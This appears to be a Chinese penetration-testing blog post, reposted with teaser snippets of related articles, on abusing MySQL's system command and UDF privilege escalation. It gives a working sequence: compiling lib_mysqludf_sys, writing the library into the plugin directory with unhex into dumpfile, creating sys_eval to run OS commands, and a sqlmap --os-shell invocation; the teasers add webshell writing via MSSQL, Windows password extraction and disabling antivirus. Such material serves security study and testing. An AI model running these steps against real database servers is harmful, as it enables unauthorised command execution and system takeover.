MySQL的system命令在渗透测试中的使用以及UDF提权

一、MySQL中的system命令

在MySQL 5.x中增加了system命令,简单的符号是\!,从而使MySQL可以执行系统的命令

1 mysql> system echo "12345"
2 12345

因为突发奇想,可以使用这个办法反弹shell

结果OK:

尝试和select拼接执行,这样是成功的

想到这里其实可以拼接在SQL注入语句中执行OS命令,或者能连上MySQL之后直接执行OS命令反弹shell。

二、MySQL UDF提权

这里按照linux类操作系统举例了,服务器端用windows真的没意思了,虽然还有很多。https://github.com/mysqludf/lib_mysqludf_sys解压后进入(git clone后直接进入)目录:

1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

如果遇到报错:

1 In file included from lib_mysqludf_sys.c:40:
2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory

可以做如下修改:修改/usr/include/mysql/my_global.h文件,注释626行后重新编译。并使用Hex.hta获取16进制。

 1 mysql> show variables like ‘%plugin%‘;
 2 +---------------+-------------------------+
 3 | Variable_name | Value                   |
 4 +---------------+-------------------------+
 5 | plugin_dir    | /usr/lib64/mysql/plugin |
 6 +---------------+-------------------------+
 7 1 row in set (0.00 sec)
 8
 9 mysql> select * from func; #检查是否已经有人导出过了
10 mysql> select unhex(‘hexcode‘) into dumpfile ‘/usr/lib64/mysql/plugin/mysqludf.so‘;
11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目录的写入权限
12
13 mysql> create function sys_eval returns string soname ‘mysqludf.so‘;
14 Query OK, 0 rows affected (0.00 sec)
15
16 mysql> select sys_eval(‘whoami‘);
17 +--------------------+
18 | sys_eval(‘whoami‘) |
19 +--------------------+
20 | mysql
21              |
22 +--------------------+
23 1 row in set (0.03 sec)
24
25 mysql> select * from func;
26 +----------+-----+-------------+----------+
27 | name     | ret | dl          | type     |
28 +----------+-----+-------------+----------+
29 | sys_eval |   0 | mysqludf.so | function |
30 +----------+-----+-------------+----------+
31 1 row in set (0.00 sec)
32
33 mysql> drop function sys_eval;
34 Query OK, 0 rows affected (0.00 sec)
35
36 mysql> select * from func;
37 Empty set (0.00 sec)

或者使用sqlmap 执行提权:

1 #sqlmap -d "mysql://root:[email protected]:3306/test" --os-shell
2 #test的地方是database name

原文地址:https://www.cnblogs.com/KevinGeorge/p/8394545.html

时间: 2024-08-10 16:35:59

MySQL的system命令在渗透测试中的使用以及UDF提权的相关文章

详述MySQL服务在渗透测试中的利用

本文作者:i春秋签约作家--Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提权 导出木马到启动项提权 反弹端口提权 MySQL提权综合姿势 part1 mysql之UDF提权 首先什么是UDF? UDF为`User Defined Function`-用户自定义函数,也就是支持用户自定义函数的功能.看这个名字应该就理解了一半了. MySQL是最流行的开放源码SQL数据库管理

渗透测试中如何提取Windows系统帐户密码

『面向对象』本篇博文主要面向信息安全渗透测试初级人员以及信息安全攻防技术爱好者,大牛请珍惜生命.自行绕道. 『主要内容』主要介绍在后渗透测试阶段如何利用工具来获取Windows操作系统账号密码. ---------------------------------------菜鸟起飞系列------------------------------------------------ 渗透测试任务:获取Windows系统帐户密码 攻击测试目标:Windows server2003 2008 2012

渗透测试中的域名伪装

今天在<网络渗透测试--保护网络安全的技术.工具.过程>一书中看到了一个关于对恶意链接进行域名伪装的方法,以前从不知道的一个方法,特此记录下来: 我们通常使用的都是以下这种格式的域名: www.example.com 浏览器在将域名发往dns服务器之前,会先对域名进行第一步处理,这里就涉及到一个隐含的知识:“@”符号 如果在浏览器地址栏中输入一个包含“@”符号的域名,浏览器在发送该域名之前,会自动忽略“@”符号之前的所有内容. 这个应该不算是一个漏洞,大多数浏览器都会包含这种默认的方式.如果我

详述MSSQL服务在渗透测试中的利用 (下篇)

part3 MSSQL写文件 步骤1 sp_makewebtask写文件 因为是`SA`权限,如果目标服务器是web服务器,我们也不用去备份了,可以直接写个一句话木马进去到web目录. 在不知道web目录的情况下我们可以使用以下SQL语句来列目录: exec master.dbo.xp_subdirs 'c:\www\'; `sp_makewebtask`拓展存储过程并不会列出目录下的文件,只会列出目录. 假设`c:\www\`为当前web目录,我们尝试使用以下语句来向该目录写一个名为`test

渗透测试中遭遇杀毒软件

最近测试一个项目,提权时遇到了杀毒软件,N多工具都被杀掉了,虽然最后都成功提权了,但是还是或多或少的给我们提权造成了不少的麻烦,尤其是提权成功后使用cain嗅探,cain被秒杀,别提多郁闷了.这里就我提权过程中遇到的两款杀毒软件来进行一下总结,总结一下如何在提权成功后关掉这两款杀毒软件. 1.免密码关掉趋势杀毒软件 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\TrendMicro\PC-cillinNTCor

MySQL UDF提权获取主机控制权

UDF(User defined function)是MySQL的一个拓展接口,用来扩展MySQL的功能.在具备MySQL管理员访问权限的条件下,可利用该特性进行提权,获取所在主机的控制权.下面以windows主机为例,给出具体的步骤: 1.python clock.py -d -i lib_mysqludfsys.dll此步是获取攻击用的UDF dll.首先要安装sqlmap,然后运行上述命令即可得到解码之后的UDF dll.(sqlmap对其进行编码是为了免杀) 2.mysql -h tar

使用Kali Linux在渗透测试中信息收集

域名注册信息 当你知道目标的域名,你首先要做的就是通过Whoist数据库查询域名的注册信息,Whois数据库是提供域名的注册人信息,包括联系方式,管理员名字,管理员邮箱等等,其中也包括DNS服务器的信息. 关于Whois的介绍请访问:https://www.ietf.org/rfc/rfc3912.txt‍ 默认情况下,Kali已经安装了Whois.你只需要输入要查询的域名即可: #whois baidu.com (部分) 我们可以获取关于百度的DNS服务器信息,域名注册基本信息.这些信息在以后

渗透测试中常见的端口

端口合计详情 21 ftp  22 SSH  23 Telnet  80 web  80-89 web  161 SNMP  389 LDAP  443 SSL心脏滴血以及一些web漏洞测试  445 SMB  512,513,514 Rexec  873 Rsync未授权  1025,111 NFS  1433 MSSQL  1521 Oracle:(iSqlPlus Port:5560,7778)  2082/2083 cpanel主机管理系统登陆 (国外用较多)   2222 DA虚拟主机

sqlmap在渗透测试中使用方法

前言: 本篇文章只学习sqlmap如何使用请不要对互联网上站点进行攻击测试.环境所用系统为:centos6.6,sqlmap版本为0.9,靶机环境为预先搭建好存在漏洞的站点.实验环境模拟发现测试站点有注入漏洞,使用sqlmap工具进行注入尝试最后脱裤的操作. 实验演示: 测试站点 点击其中分类发现修改id可以直接进行对应页面跳转,由于在域名后添加 "and 1=2"进行测试,结果如下: 我们发现由于程序没有进行相关过滤,当条件为假时,可以控制SQL命令的返回结果,此时可证明发现的SQL